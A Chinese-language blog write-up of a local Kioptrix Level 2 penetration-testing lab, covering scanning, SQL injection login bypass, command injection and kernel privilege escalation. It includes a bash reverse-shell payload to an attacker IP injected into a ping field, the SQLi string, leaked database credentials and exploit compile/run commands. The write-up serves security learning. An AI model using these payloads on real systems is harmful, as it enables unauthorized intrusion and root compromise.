Kioptrix-2靶机渗透

免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。

前言:Kioptrix系列一些基础的东西就不再说明了,建议从DC系列打起,本文系列作为对DC系列的一个巩固,从一个切入点拓展到多个切入点的尝试。


信息搜集

扫网段端口:

nmap -sn 10.144.71.0/24 

nmap -sV -p- 10.144.71.126

image

端口增加了好几个,还是先从web端入手

image

直接给了登录框,刚开始的时候我看了一下源码,有这么一句话Start of HTML when logged in as Administator 感觉这里就是给了账户然后进行爆破,bp里面尝试了一下不行,再dirsearch扫了一下:

image

扫出来一个可以访问的,但是好像是apahce的文档界面,没什么用:

image


获取shell

那么再回到之前的登录框,尝试一下SQL注入,直接就进去了Administator' or 1=1#

image

又是一个ping的界面,执行一下相应命令是有回显的:

image

这个就是查询语句,那么尝试反弹shell,bash反弹能直接成功:

nc -lvnp 4444 

;bash -i >& /dev/tcp/10.144.71.177/4444 0>&1

提权

进去之后还是得搞个tty,要不然后面连数据库的时候没法正常输出python -c 'import pty;pty.spawn("/bin/bash")' 也有index.php,访问一下:

<?php
        mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
        //print "Connected to MySQL<br />";
        mysql_select_db("webapp");

        if ($_POST['uname'] != ""){
                $username = $_POST['uname'];
                $password = $_POST['psw'];
                $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
                //print $query."<br>";
                $result = mysql_query($query);

                $row = mysql_fetch_array($result);
                //print "ID: ".$row['id']."<br />";
        }

?>

直接给出了MySQL的登录账户和密码,那还说啥了:

mysql -u john -phiroshima

一共有三个库,在mysql中有一个user表,看一眼:

image

有两个root和一个john,前两个拿不准,那先尝试一下john那个能不能ssh或者原来的web端页面登录,结果是web端登录不了,然后ssh又因为版本过旧等原因被默认是禁用状态的。

那么看一下数据库中还有没有别的账户密码,后面在wepapp中也有一个users表,看库名大概率就是web端的登录了:

select * from users;
+------+----------+------------+
| id   | username | password   |
+------+----------+------------+
|    1 | admin    | 5afac8d85f |
|    2 | john     | 66lajGGbla |
+------+----------+------------+

尝试之后确实是web端的登录账号,但是admin进去之后也没啥用,那看一下SUID
/sbin/suexec 这一个看起来好像能提权,网上搜一搜,有一个CVE2007的竞态条件与路径验证绕过

  • 原理suexec 在验证目录路径和实际使用文件之间存在竞态条件。攻击者可以通过快速重命名目录或使用符号链接,诱使 suexec 在非预期的目录下执行命令,从而实现提权

  • 利用前提:攻击者需要对 Apache 的文档根目录(DocumentRoot)具有写权限,并能上传/运行 CGI/PHP 脚本

那么看一下是否有可写权限【虽然一般大概率不可写】

# 查看 Apache 主配置文件
cat /etc/httpd/conf/httpd.conf | grep -i "DocumentRoot"

image

路径是var/www/html

看一下权限:
ls -la /var/www/html

image

有点忘了,回顾一下:

字符位 表示 含义
第1位:d 文件类型 d 代表这是一个目录 (Directory)。如果是 - 则是普通文件,l 是链接。
第2-4位:rwx 所有者权限 r 读、w 写、x 进入。表示文件属主(这里是 root)可以查看目录内容、在里面创建/删除文件、以及 cd 进入该目录。
第5-7位:r-x 所属组权限 r 读、- 无权限、x 进入。表示属于该目录属组的用户(这里是 root 组)可以查看和进入目录,但不能在里面创建或删除文件(缺少 w)。
第8-10位:r-x 其他人权限 r 读、- 无权限、x 进入。表示既不是属主也不在属组里的其他用户(如 apache),权限与属组相同。

这样就能看出没有写入权限,那么这个CVE就执行不了了,换到内核看看
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux 然后这里有个小技巧,就是直接全部复制粘贴的话浏览器搜索就是靶机的通关教程,然后自己想找exp就很难找,所以要提纯一下:
Linux 2.6.9-55.EL exploit 还是建议Chrome

image

search一下 searchsploit --cve 2009-2689
显示没找到,那就换内核版本搜searchsploit centos 2.6.9

image

就是我们上面那个后续就是正常的利用了,编译运行的命令也给了:

gcc -o exp 9542.c

./exp

image


其他端口利用

MySQL

之前扫端口的时候还开了3306默认的mysql,那么我们可以进行相应的版本探测查看是否存在漏洞,使用MSF:

search mysql version

#自己找对应的
use 16

set rhosts 10.144.71.126

run

但是会出现一个问题:

image

  • 这个 MySQL 服务器的配置里不允许这个IP(或任何非本地IP)连接。
  • 这是 MySQL 默认的安全设置:只允许 localhost(127.0.0.1)或明确授权的IP连接,防止别人从外面随便连进来。

那么这个端口就用不了哩


CUPS

再换一个631端口,又是一个没见过的,网上搜一搜:

CUPS 1.1 是一个基于标准的开源打印系统,由苹果公司为 macOS 和其他 UNIX 类操作系统开发。它使用 Internet 打印协议 (IPP) 来管理打印机、打印请求和打印队列。CUPS 1.1 支持访问控制、验证和加密,使其成为比其他协议强大且安全的打印解决方案。它提供系统 V 和 Berkeley 命令行界面、Web 界面和 C API 来管理打印机和打印任务。CUPS 1.1 还支持本地(并行、串行、USB)和网络打印机打印,打印机可以从一台计算机共享到另一台计算机,甚至可以通过互联网共享

搜一下有无历史漏洞,可以在exdb中找到一个CVE2004-1267,但是是一段文字描述,总结如下:

  • 漏洞类型:远程缓冲区溢出(Buffer Overflow)
  • 影响组件:CUPS 的 HPGL 文件处理过滤器(hpgltops)
  • 触发方式:让 CUPS 打印一个特制的 HPGL 文件(通过邮件、网页等方式诱导用户或系统打印即可)
  • 危害:攻击者可以以 CUPS 运行的权限(通常是 lp 用户)执行任意代码,甚至读取/修改正在打印的文件。
  • 发现时间:2004 年,由学生 Ariel Berkman 发现,D.J. Bernstein(著名安全研究员)帮忙发布公告。
  • 对应 CVE:CVE-2004-1267

但是有个问题是我们需要用的exp是24977

  • 24977 这个 exp(21.hpgl 文件)是一个本地过滤器利用:需要你已经能在目标机器上以普通用户身份执行 hpgltops 命令 来处理恶意 HPGL 文件,从而触发溢出,获得 lp 用户权限。
  • 不是完全远程的 RCE(不像 Samba trans2open 或 mod_ssl 那样可以从外部直接打)。
  • Kioptrix 2 的 CUPS 配置比较严格(网页访问 631 端口返回 403 Forbidden),而且没有简单的方法让系统自动打印我们上传的 HPGL 文件。

Staus

这里面还有一个status服务:

  • 它是 NFS(Network File System) 相关的一个辅助服务,全称叫 NSM(Network Status Monitor)statd(status daemon)。
  • 主要功能是监控 NFS 客户端和服务器之间的状态(比如机器是否宕机、锁恢复等)。
  • 它通常和 rpcbind(端口 111)一起出现,是 Linux/Unix 系统上 NFS 服务的标准组件。

在这个靶机里只是系统默认开启的 NFS 相关服务,没有已知可直接远程利用的严重漏洞,既然这样的话这次靶机到这里差不多就结束了。


总结

最后再回顾一下,easy难度的流程做起来应该是很顺了,完整工具的利用链也能成为肌肉记忆,拓展的应该是攻击面这类了。后续就是不只是用exp,还得去理解,又是一道坎呢。

posted @ 2026-04-11 14:33  ShoreKiten  阅读(5)  评论(0)    收藏  举报